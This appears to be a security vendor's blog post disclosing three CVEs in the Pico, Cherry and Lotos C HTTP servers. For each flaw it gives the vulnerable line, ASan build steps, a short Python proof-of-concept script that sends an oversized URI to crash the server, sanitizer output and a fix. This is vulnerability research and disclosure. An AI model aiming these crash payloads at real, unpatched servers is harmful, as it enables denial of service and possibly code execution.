Three zero days in three hours: Discovering CVE-2024-22086, CVE-2024-22087, and CVE-2024-22088

Zero-day exploits are discovered by security researchers, nation-states, cyber defense professionals, and hacktivist groups worldwide to infiltrate computer systems, networks, critical infrastructure, and Internet of Things (IoT) devices. As technology advances, cybercrime continues to spread into every global industry. This makes the race to find Zero-Day vulnerabilities crucial to the success of any organization. Positioned at the forefront of this pivotal arena, Skinny Research and Development consistently expands the horizons of digital protection.

Our latest intensive security examination remarkably uncovered not just one but three zero-day vulnerabilities in a brief timeframe of three hours. This significant find not only accentuates the persistent nature of cyber threats but also spotlights the critical need for preemptive security actions in our highly connected era. Delving into the complex domain of cyber vulnerabilities, we meticulously unraveled the complexities of the Lotos HTTP Server, Pico HTTP Server, and Cherry HTTP Server. The investigation underscored high-risk vulnerabilities within each server, which pose severe consequences for systems and applications dependent on these platforms.

CVE-2024-22087: Uncovering a Remote Stack Buffer Overflow Vulnerability

Buffer Overflows: An Overview

A buffer overflow occurs when data overflows from a fixed-size buffer into adjacent memory locations. This can result in unexpected behavior, crashes, or even security vulnerabilities that malicious actors can exploit. The primary cause of buffer overflows is the improper handling of input data by a program, typically due to insufficient bounds checking.

Understanding Remote Buffer Overflows

Remote buffer overflows are a subset of buffer overflows that occur when an attacker exploits a vulnerability in a program to execute malicious code from a remote location. This type of attack can be particularly dangerous because it allows attackers to compromise a system without direct physical or local access. Here’s how a remote buffer overflow attack typically unfolds:

  1. Vulnerability Identification: Attackers search for vulnerabilities in a target application or service, such as an HTTP server, that could potentially be exploited.
  2. Payload Crafting: Once a vulnerability is identified, attackers create a payload designed to exploit the specific weakness in the target system. This payload is typically crafted to overwrite a buffer with malicious code or data.
  3. Remote Execution: The attacker sends the payload to the target system over a network, triggering the buffer overflow when the vulnerable program processes the input. This allows the attacker to gain control over the system or execute arbitrary code.
  4. Exploitation: With control over the system, the attacker can carry out a variety of malicious activities, such as stealing data, launching further attacks, or compromising the integrity of the system.

Common Causes of Buffer Overflows in HTTP Servers

HTTP servers are essential components of web applications, making them attractive targets for attackers. Here are some common causes of buffer overflows in HTTP servers:

  1. Input Validation Flaws: HTTP servers often receive data from client requests, such as HTTP headers or parameters. Inadequate input validation and sanitization can lead to buffer overflows when handling this data.
  2. Improper Memory Management: HTTP server software may have vulnerabilities related to memory allocation and deallocation. Errors in handling memory can create opportunities for buffer overflows.
  3. Outdated Software: Running outdated or unpatched HTTP server software can expose systems to known vulnerabilities that attackers can exploit using buffer overflows.
  4. Configuration Errors: Misconfigurations in server settings can introduce vulnerabilities. For example, allowing unrestricted file uploads without proper validation can lead to buffer overflow vulnerabilities.

Buffer Overflow Example

Let’s review an example of a buffer overflow in C++ to better understand this vulnerability class.

#include <iostream>
#include <cstring>

int main() {
    char buffer[10];
    std::string secret = "MySecret";

    // Copy a user-provided string into the buffer without bounds checking
    std::cout << "Enter a string: ";
    std::cin >> buffer;

    // Display the secret
    std::cout << "Secret: " << secret << std::endl;

    return 0;

In this example, we have a C++ program that declares a character array buffer with a size of 10. It also initializes a std::string called secret with the value “MySecret.”

The vulnerable part of the code is the std::cin >> buffer; line. This line reads a user-provided string into the buffer without performing any bounds checking. If the user enters a string longer than 10 characters, it will overflow the buffer, potentially overwriting adjacent memory. For instance, if the user enters a string like ‘12345678901234567890’, it will overflow the buffer, and any data located in memory immediately after the buffer (e.g., the secret variable) may be overwritten.


While analyzing the Pico HTTP server, I stumbled upon a remote stack buffer overflow vulnerability. This security flaw is present through commit f3b69a6 and resides in the function void route() within main.c, specifically on line 81:

GET(uri) {
  char file_name[255];
  sprintf(file_name, "%s%s", PUBLIC_DIR, uri);

This revelation holds that any project utilizing Pico is susceptible to remote code execution. The risk for code execution is far greater on IoT devices and embedded systems where common memory protections are not present.

Preparing for Investigation: Makefile Modifications

Before diving into the specifics, I implemented some modifications to the Makefile. These changes facilitate the compilation of Pico with address sanitizer and debug symbols, enabling me to track and validate the stack buffer overflow vulnerability:

all: server

    @rm -rf *.o
    @rm -rf server

server: main.o httpd.o
    gcc -o server $^ -fsanitize=address -g

main.o: main.c httpd.h
    gcc -c -o main.o main.c -fsanitize=address -g

httpd.o: httpd.c httpd.h
    gcc -c -o httpd.o httpd.c -fsanitize=address -g

Compiling Pico with Address Sanitizer

To compile Pico with the address sanitizer and debug symbols, execute the following command:

$ make

Crafting a Proof of Concept Python3 Script

A Python3 script, named, serves as a proof of concept for this vulnerability. It sends an HTTP request with a malformed URI (2,000,000 bytes in length) to Pico and awaits a response:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(b"GET /" + b"C" * 2000000 + b"HTTP/1.1\r\nHost: localhost:8000\r\n\r\n")
response = sock.recv(4096)

Running Pico

To start the Pico server, execute the following command:


Executing the Python3 Script

Execute the Python3 script to simulate the buffer overflow attack:

$ python3

Address Sanitizer Output

Upon running the Python3 script, address sanitizer provides valuable insights into the nature of the vulnerability. AddressSanitizer (ASan) is a memory error detector tool used for identifying memory-related bugs in software programs. It is primarily designed to catch memory corruption issues, such as buffer overflows, use-after-free errors, and memory leaks, which can lead to security vulnerabilities or program crashes::

==960119==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f214c10015f at pc 0x7f214e09215c bp 0x7ffe88c08220 sp 0x7ffe88c079e0
WRITE of size 65487 at 0x7f214c10015f thread T0
    #0 0x7f214e09215b in __interceptor_vsprintf ../../../../src/libsanitizer/sanitizer_common/
    #1 0x7f214e09233e in __interceptor_sprintf ../../../../src/libsanitizer/sanitizer_common/
    #2 0x556476f2cd71 in route /home/kali/projects/fuzzing/pico/main.c:81

The AddressSanitizer output indicates a stack buffer overflow occurred in the main thread (T0) of the application, specifically at the memory address 0x7f214c10015f. The overflow was triggered by a WRITE operation attempting to write a substantial 65,487 bytes of data, far exceeding typical buffer capacities. This critical issue was detected during the execution of a vsprintf function, which is notoriously unsafe due to its lack of output buffer bounds checking. This function was called indirectly through an sprintf function, as indicated by the stack trace pointing to the __interceptor_sprintf in the sanitizer’s interceptors.

The root cause of the overflow is traced back to the route function in the main.c file of the Pico project, specifically at line 81, as per the stack frame information provided by AddressSanitizer. This line of code is instrumental in understanding the nature of the vulnerability, suggesting an improper handling of input data size, leading to the buffer overflow. The use of sprintf, a function known for its potential to cause such vulnerabilities due to not checking the length of the input against the size of the buffer, is a significant point of concern. AddressSanitizer’s detailed report not only pinpoints the location of the vulnerability but also emphasizes the need for immediate code review and adoption of safer coding practices, such as replacing sprintf with safer functions like snprintf to prevent memory corruption issues.

Mitigating the Vulnerability

To promptly mitigate this vulnerability, replace sprintf with snprintf. The latter allows you to specify the maximum number of characters to be written, including the null terminator. This prevents stack buffer overflow by truncating the string if it exceeds the specified length.

sprintf(file_name, "%s%s", PUBLIC_DIR, uri);
snprintf(file_name, sizeof(file_name), "%s%s", PUBLIC_DIR, uri);

For further information on similar vulnerabilities and best practices in security testing, you can refer to the following resources:

CVE-2024-22086: The dangers of sscanf

Cherry, initially inspired by the Capriccio project and the Zaver HTTP server, began as an experimental endeavor aiming to integrate cooperative threading, also known as fibers or coroutines, into server architecture. Despite its ambitions, Cherry faced challenges in matching the performance levels achieved by the Capriccio project, finding that achieving such efficiency can be complex.

At its core, Cherry is a straightforward HTTP server optimized for unicore performance, emphasizing efficiency through FSM (finite state machine) scheduling and I/O multiplexing using epoll. Its design philosophy revolves around a single control flow for unicore servers, minimizing blocking operations to achieve a level of concurrency akin to cooperative threading. Cherry employs epoll for I/O multiplexing, a queue for ready file descriptors, and a finite state machine for scheduling. However, its use of edge-triggered epoll necessitates complete reading of file descriptors in one operation, which might lead to the starvation of other queued descriptors. Cherry serves as a valuable platform for experimenting with new ideas, even if it may not evolve into a major server.

While executing fuzz tests against the Cherry HTTP Server, I discovered a remote stack buffer overflow vulnerability in handle_request() at http.c, line 54. This vulnerability affects all versions of Cherry through commit 4b877df. The vulnerable source code can be seen below:

sscanf(buf, "%s %s %s", method, uri, version); 

Makefile Modifications

The following modifications were made to the Makefile to compile Cherry with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow vulnerability:

CFLAGS= -Wall -Wextra -DLOG_USE_COLOR -fsanitize=address -g

.PHONY: clean

cherry: server.c log.c rio.c http.c epoll.c task.c utils.c
    $(CC) $^ -o $@ $(CFLAGS)

    rm cherry a.out

Compiling Cherry

After modifying the Makefile, the project can be compiled by executing the following commands on the command line:

$ make

Proof of Concept Python3 Script

I created the following proof of concept buffer overflow script and saved it to a file named The script will send an HTTP request with a malformed URI (2,000,000 bytes long) to Cherry and wait for a response:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 3333))
sock.send(b"GET /"+b"C"*2000000+b"HTTP/1.1\r\nHost:localhost:3333\r\n\r\n")
response = sock.recv(4096)

Starting Cherry

$ ./cherry

Executing our Python3 Script

$ python3

Address Sanitizer Output

The following output is produced by address sanitizer, confirming the existence of the buffer overflow.

==3024==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fcf196002f0 at pc 0x7fcf1b087791 bp 0x7ffc4e0bf090 sp 0x7ffc4e0be850
WRITE of size 8188 at 0x7fcf196002f0 thread T0
    #0 0x7fcf1b087790 in scanf_common ../../../../src/libsanitizer/sanitizer_common/
    #1 0x7fcf1b0883fe in __interceptor___isoc99_vsscanf ../../../../src/libsanitizer/sanitizer_common/
    #2 0x7fcf1b0884ee in __interceptor___isoc99_sscanf ../../../../src/libsanitizer/sanitizer_common/
    #3 0x55a0ffa0561d in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:54
    #4 0x55a0ffa072c7 in request_handler /home/kali/projects/fuzzing/cherry/src/utils.c:57
    #5 0x55a0ffa03908 in main /home/kali/projects/fuzzing/cherry/src/server.c:69
    #6 0x7fcf1ae456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7fcf1ae45784 in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x55a0ffa03450 in _start (/home/kali/projects/fuzzing/cherry/src/cherry+0x4450) (BuildId: f07795ccbe440d35fcd7b1ea59114aa3d9bc6d55)

Address 0x7fcf196002f0 is located in stack of thread T0 at offset 752 in frame
    #0 0x55a0ffa05370 in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:35

  This frame has 7 object(s):
    [32, 176) 'sbuf' (line 41)
    [240, 752) 'uri' (line 37)
    [816, 1328) 'version' (line 37) <== Memory access at offset 752 partially underflows this variable
    [1392, 1904) 'filename' (line 40) <== Memory access at offset 752 partially underflows this variable
    [1968, 10160) 'method' (line 37) <== Memory access at offset 752 partially underflows this variable
    [10416, 18608) 'buf' (line 38)
    [18864, 27072) 'rio' (line 36)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/ in scanf_common
Shadow bytes around the buggy address:
  0x7fcf19600000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600080: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
  0x7fcf19600100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fcf19600280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2
  0x7fcf19600300: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fcf19600500: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

The AddressSanitizer output reveals a stack buffer overflow in the main thread (T0) of the application, with a WRITE operation attempting to place 8,188 bytes of data into a buffer located at the memory address 0x7fcf196002f0. This incident signifies an attempt to write data far beyond the intended buffer size, a clear indication of a buffer overflow vulnerability. The origin of this overflow is pinpointed to the handle_request function in the Cherry HTTP server’s http.c file, specifically at line 54.

The detailed AddressSanitizer report provides critical insights into the memory layout and the involved variables at the time of the overflow, such as ‘uri’, ‘version’, ‘filename’, ‘method’, ‘buf’, and ‘rio’, pinpointing the exact memory offsets and potential underflows within these variables. The final advice is an abortion of the process, a standard response to such critical memory safety violations. This output is instrumental for developers, guiding them to review and amend the code in the implicated areas, particularly around the handling of user-supplied data and the use of safer alternatives to vulnerable functions like sscanf. The aim is to enforce stringent bounds checking and thereby fortify the application against such exploitations.


The issue with the code is that it doesn’t limit the number of characters read into each string. This can cause a buffer overflow if the input strings are longer than the buffers allocated for method, URI, and version. To fix this, you need to specify maximum field widths in the sscanf format string. These widths should be at least one less than the size of the buffers (to leave space for the null terminator):

sscanf(buf, "%s %s %s", method, uri, version); // for example, GET / HTTP/1.1 
sscanf(buf, "%5000s %300s %300s", method, uri, version); // for example, GET / HTTP/1.1 

For further information on similar vulnerabilities and best practices in security testing, you can refer to the following resources:

CVE-2024-22088: Use-after-free unleashed

The Lotos HTTP server stands out as a compact yet highly efficient HTTP WebServer, designed based on the Reactor model. It employs non-blocking IO alongside IO multiplexing (epoll ET), ensuring adept handling of concurrent requests. Crafted entirely in pure C and subjected to thorough testing, Lotos ensures reliability. It currently supports various HTTP headers such as Connection and Content-Length, with plans to extend support for more headers in the future.

CVE-2024-22088 is a security vulnerability I discovered in the Lotos HTTP server. This flaw can be traced back to commit 3eb36cc in the function buffer_avail located at buffer.h, line 25. Let’s take a closer look at the problematic code:

static inline size_t buffer_avail(const buffer_t *pb) { return pb->free; }

This seemingly innocent line of code hides a critical weakness that can be exploited remotely. Any project using the Lotos HTTP server, including its forks, could potentially be vulnerable to this issue.

Understanding Use-After-Free Bugs

Before we dive deeper into the specifics of CVE-2024-22088, it’s essential to grasp the concept of “use-after-free” bugs. These bugs occur when a program continues to use a memory location after it has been freed. Here’s how it typically happens:

  1. Memory Allocation: The program allocates memory for an object or data structure, creating a pointer to that memory.
  2. Deallocation: At some point, the program deallocates or frees the previously allocated memory.
  3. Improper Use: Despite the memory being freed, the program mistakenly continues to use the pointer to access that memory location.

This improper usage of memory can lead to unpredictable behavior, crashes, or security vulnerabilities. Consider the following example:

#include <stdio.h>
#include <stdlib.h>

int main() {
    int *ptr = (int *)malloc(sizeof(int));  // Allocate memory for an integer
    if (ptr == NULL) {
        fprintf(stderr, "Memory allocation failed.\n");
        return 1;

    *ptr = 42;  // Assign a value to the allocated memory
    printf("Value: %d\n", *ptr);  // Print the value

    free(ptr);  // Deallocate the memory

    // Attempting to access the freed memory (use-after-free)
    printf("Value: %d\n", *ptr);  // Accessing the freed memory

    return 0;

Let’s walk through the code to gain a better understanding of the program flow:

  1. We start by including the necessary header files for standard input and output (stdio.h) and memory allocation (stdlib.h).
  2. Inside the main function, we declare an integer pointer ptr.
  3. We use the malloc function to allocate memory for an integer. The sizeof(int) is used to determine the size of memory to allocate, which is typically the size of an integer on the platform.
  4. We check if the memory allocation was successful by comparing ptr to NULL. If malloc fails to allocate memory, it returns NULL, and we print an error message to the standard error stream (stderr) and exit with a non-zero status code.
  5. We assign the value 42 to the memory location pointed to by ptr.
  6. We use printf to print the value stored at the memory location pointed to by ptr. This should print “Value: 42” to the console.
  7. Next, we call free(ptr) to deallocate the previously allocated memory. The memory is now marked as freed, and the pointer ptr still holds the address of the freed memory.
  8. The critical part of the code comes next. We attempt to access the memory pointed to by ptr after it has been freed. This is the use-after-free bug. We again try to print the value using printf, but this time it accesses the freed memory.

Accessing freed memory is bad for several reasons, primarily because it can lead to undefined behavior and various security and reliability issues. Here are some key reasons why accessing freed memory is problematic:

  1. Undefined Behavior: When you access memory that has been freed, the behavior of your program is undefined. This means there are no guarantees about what will happen. Your program may crash immediately, or it may appear to work fine while silently corrupting data or introducing subtle bugs. Undefined behavior can be extremely difficult to diagnose and debug.
  2. Data Corruption: Accessing freed memory can overwrite data that other parts of your program are using. This can lead to data corruption, causing unexpected and incorrect results in your program’s operation. It may also affect the integrity of data structures, potentially causing crashes or vulnerabilities.
  3. Security Vulnerabilities: Use-after-free bugs can be exploited by attackers to gain control of your program or execute malicious code. If an attacker can control the data that is written to the freed memory location, they can potentially execute arbitrary code or manipulate the program’s behavior, leading to security vulnerabilities.
  4. Crashes and Instability: Even if your program doesn’t immediately crash when accessing freed memory, it can lead to instability. Memory-related bugs like use-after-free can cause intermittent crashes, making your program unreliable and frustrating for users.
  5. Memory Leaks: Paradoxically, accessing freed memory can also mask memory leaks. When you access memory that has already been freed, you might inadvertently keep references to that memory, preventing it from being properly deallocated. This can lead to memory leaks over time, where your program consumes more and more memory without releasing it.
  6. Platform and Compiler Variability: The behavior of accessing freed memory can vary between different compilers, operating systems, and hardware platforms. What might seem to work on one system can break on another, leading to portability issues.
  7. Difficulty in Debugging: Identifying and debugging use-after-free bugs can be challenging. Since the symptoms of these bugs can be inconsistent and appear at different points in your program’s execution, tracking down the root cause can be time-consuming and frustrating.

To avoid these issues, it’s crucial to follow proper memory management practices in your code. Always free memory only once, ensure that pointers are not used after the memory they point to has been deallocated, and consider using modern techniques like smart pointers in C++ or memory management tools like AddressSanitizer to catch these issues early during development.

Hunting For CVE-2024-22088

After running a series of fuzz tests against the Lotos HTTP server, I identified a crucial security issue. The vulnerability occurs in the buffer_avail function, which is subsequently called from the buffer_cat function in the buffer.c file. The critical access point occurs after a call to realloc in the buffer_cat function:

/* realloc */
size_t cur_len = buffer_len(pb);
size_t new_len = cur_len + nbyte;
/* realloc strategy */
if (new_len < BUFFER_LIMIT)
    new_len *= 2;
    new_len += BUFFER_LIMIT;

npb = realloc(pb, sizeof(buffer_t) + new_len + 1);

The problem arises when realloc is called. If the new size cannot fit in the existing memory space, realloc may move the memory block to a new location. Consequently, the original pointer to the buffer (buffer_t *pb) could become invalid if realloc moves the memory.

After reallocation, any existing pointers to the old memory location become invalid. If you attempt to use the old pointer (pb) without updating it to the new memory location returned by realloc, it leads to undefined behavior. This is precisely what AddressSanitizer is catching in the Lotos HTTP server.

Proof of Concept and Exploitation

To demonstrate the vulnerability, I’ve prepared a Python3 script that sends a crafted HTTP request to the Lotos HTTP server:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)

Running this script sends an HTTP request with a URI containing 20,000 bytes to the Lotos server, triggering the use-after-free vulnerability.

Address Sanitizer Output

When the use-after-free vulnerability is exploited, AddressSanitizer generates an error report that points to the problematic code:

==415636==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002904 at pc 0x5585539a14ec bp 0x7ffc148a9370 sp 0x7ffc148a9368
READ of size 4 at 0x625000002904 thread T0

The report identifies the exact location of the issue in the buffer_avail function and traces it back to the buffer_cat function in the buffer.c file.

Mitigation Strategies

Addressing this vulnerability is crucial to maintaining the security of projects using the Lotos HTTP server. A potential mitigation strategy involves adding a check to the request.c file. Specifically, you can modify the code in line 130 as follows:

if (len == ERROR || len > 5000) {

This code change ensures that all incoming requests larger than a specified size (e.g., 5000 bytes) are dropped. Adjust the threshold value according to your specific needs, keeping in mind that the use-after-free vulnerability occurs at approximately 8154 bytes in the URI.

CVE-2024-22088 serves as a stark reminder of the importance of thorough security testing and constant vigilance in the world of software development. Understanding the intricacies of use-after-free vulnerabilities and implementing appropriate mitigation strategies is essential for safeguarding your projects from potential threats.

For further information on similar vulnerabilities and best practices in security testing, you can refer to the following resources:


In conclusion, the discovery of these three zero-day vulnerabilities within just three hours underscores the critical importance of robust security measures and continuous vigilance in the realm of cyber infrastructure. Skinny Research and Development remains at the forefront of cybersecurity research, consistently uncovering and addressing potential threats before they can be exploited. These findings not only contribute to the fortification of digital assets but also serve as an invaluable learning resource for security professionals and enthusiasts alike.

To further empower individuals and organizations in the fight against cyber threats, Skinny Research and Development offers a trio of comprehensive classes:

These courses are meticulously designed to equip participants with the knowledge and skills needed to identify, analyze, and mitigate sophisticated cyber threats effectively. By enrolling in these courses, you’ll gain a deeper understanding of the intricate landscape of cyber vulnerabilities and learn from the pioneering discoveries and methodologies of Skinny Research and Development. Take the first step towards mastering the art of cyber defense and ensure that your digital assets remain secure in an ever-evolving threat landscape.

Stay vigilant, keep your software up-to-date, and prioritize security in every step of your development journey!

Scroll to Top